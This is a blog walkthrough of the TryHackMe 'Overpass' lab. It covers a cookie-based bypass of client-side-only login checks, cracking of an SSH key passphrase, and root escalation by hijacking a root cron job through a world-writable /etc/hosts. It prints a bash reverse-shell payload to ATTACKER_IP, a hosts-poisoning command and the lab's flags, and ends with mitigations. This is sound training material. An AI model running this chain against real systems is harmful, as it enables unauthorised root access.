DEV Community

Farhan Hussain
Farhan Hussain

Posted on

The Login Check Only Lived in the Browser — I Just Skipped It — Overpass (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: Broken Client-Side Authentication / Cron RCE

Introduction

Overpass is a THM Easy box built around a textbook broken authentication flaw (OWASP A07:2021) and a classic remote-code-execution-by-cron privesc. The foothold needs no exploit code at all — just reading the JavaScript the server already hands you and noticing it never actually checks anything. The escalation is a curl | bash pattern running as root, made trivially hijackable by a world-writable /etc/hosts. Neither step involves a CVE; both are configuration and design failures that show up in real environments constantly.

Recon

nmap -sC -sV -oN nmap_initial.txt 10.10.x.x
Enter fullscreen mode Exit fullscreen mode
Port Service Version / Detail
22/tcp SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp HTTP Golang net/http server — "Overpass"

Two ports. The HTTP server is a Go binary advertising itself as a "military-grade, open-source password manager." No obvious framework CVEs to chase — this is custom code.

gobuster dir -u http://10.10.x.x -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt
Enter fullscreen mode Exit fullscreen mode
URL Notes
/admin Login form
/aboutus Static page
/downloads App's own Go source + binaries
/css, /img Static assets

/admin is the obvious target. /downloads looks tempting but turns out to be a distraction.

Foothold

Before touching the form, DevTools → Sources → login.js:

async function login() {
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}
Enter fullscreen mode Exit fullscreen mode

The API returns either the literal string "Incorrect credentials" or a token. The client treats anything else as valid and stores it. /admin itself only checks that SessionToken exists — there's no server-side session table being consulted at all. This is an IDOR's cousin: not "guess someone else's ID," but "there was never a lock on the door."

document.cookie = "SessionToken=whatever"
Enter fullscreen mode Exit fullscreen mode

Reload /admin. The panel renders a note to James and, beneath it, his RSA private key:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
...
-----END RSA PRIVATE KEY-----
Enter fullscreen mode Exit fullscreen mode

Proc-Type: 4,ENCRYPTED — passphrase-protected. The key alone isn't enough.

chmod 600 id_rsa
ssh2john id_rsa > james_hash
john --wordlist=/usr/share/wordlists/rockyou.txt james_hash
Enter fullscreen mode Exit fullscreen mode
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
james13          (id_rsa)
Enter fullscreen mode Exit fullscreen mode
Username Key passphrase Service
james james13 SSH (via private key)

Shell / Access

ssh -i id_rsa james@10.10.x.x
# Enter passphrase for key 'id_rsa': james13
Enter fullscreen mode Exit fullscreen mode
james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)
Enter fullscreen mode Exit fullscreen mode

Already a full TTY via SSH — no PTY upgrade needed.

cat ~/user.txt
Enter fullscreen mode Exit fullscreen mode
thm{65c1aaf000506e56996822c6281e6bf7}
Enter fullscreen mode Exit fullscreen mode

Escalation

cat /etc/crontab
Enter fullscreen mode Exit fullscreen mode
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
Enter fullscreen mode Exit fullscreen mode

Every minute, root fetches a script by hostname and pipes it straight to bash. No pinned IP, no signature check — whatever overpass.thm resolves to, root executes.

ls -la /etc/hosts
Enter fullscreen mode Exit fullscreen mode
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts
Enter fullscreen mode Exit fullscreen mode

World-writable. james can add an entry for overpass.thm and the root cron will fetch from wherever it's pointed.

Exploitation — The Full Chain

  1. Broken client-side auth — /admin trusts cookie presence, not validity → leaked RSA key for james
  2. Passphrase crack — ssh2john + john → james13 → SSH access
  3. Crontab enum — root runs curl overpass.thm/... | bash every minute
  4. /etc/hosts hijack — world-writable, redirect overpass.thm to attack box
  5. Payload delivery — serve malicious buildscript.sh → root reverse shell → root flag

Build the payload tree matching the cron's requested path:

mkdir -p ~/overpass/downloads/src && cd ~/overpass
cat > downloads/src/buildscript.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
Enter fullscreen mode Exit fullscreen mode
nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode
sudo python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode

Poison resolution on the target:

echo "ATTACKER_IP overpass.thm" >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Within a minute:

10.10.x.x - - [GET /downloads/src/buildscript.sh HTTP/1.1] 200 -
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.x.x] 49876
root@overpass-prod:/#
Enter fullscreen mode Exit fullscreen mode
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode
thm{7f336f8c359dbac18d54fdd64ea753bb}
Enter fullscreen mode Exit fullscreen mode

Rabbit Holes

SQLi fuzzing on /api/login. First instinct on seeing /api/login was to throw ' OR 1=1-- at it. It's a Go net/http handler with no SQL anywhere near the login decision — a few minutes wasted before doing the obvious thing and reading the client JS. The vuln was sitting in plaintext in the browser the entire time.

The /downloads source dive. /downloads serves the full Go source for the app. Spent a while reversing it for hardcoded secrets or a crypto flaw in password storage. There's a vulnerable-looking weak-encryption routine in there, but it's a dead end for this path — the crontab is the intended route and far shorter.

SUID hunting. Ran find / -perm -4000 2>/dev/null out of habit. Nothing unusual — stock sudo, passwd, mount. Cost nothing but attention; the crontab was the real answer and should have been checked first.

Port 80 permission error. First attempt at python3 -m http.server 80 without sudo → PermissionError: [Errno 13]. Port 80 is privileged. Thirty-second facepalm, fixed with sudo.

Flags

Flag Value Location
User thm{65c1aaf000506e56996822c6281e6bf7} ~james/user.txt
Root thm{7f336f8c359dbac18d54fdd64ea753bb} /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Client-side-only session validation on /admin Critical Validate session tokens server-side against a real session store on every protected request; never trust cookie presence alone
Passphrase-protected private key exposed via web UI High Never serve private keys through any web interface; distribute credentials via a secrets manager with audit logging
Weak key passphrase, crackable via rockyou.txt Medium Enforce stronger passphrase policy for SSH keys; consider hardware-backed keys for sensitive accounts
Root cron executing remote script fetched by hostname Critical Never pipe network content into a privileged shell; pin to a fixed IP over TLS and verify a signature/checksum before execution
World-writable /etc/hosts (0666) Critical chmod 644 /etc/hosts; audit /etc for unexpected write permissions with find /etc -writable -not -user root

Key Takeaway

Broken authentication doesn't need to be subtle to be devastating — here it was "the server trusts a cookie it never issued." Read client-side JavaScript before attacking the server; the logic flaw is often sitting there in plaintext. On the privesc side, curl | bash as root is a standing invitation — check crontabs and world-writable /etc files before reaching for a full enumeration script.


Room: TryHackMe — Overpass

Top comments (0)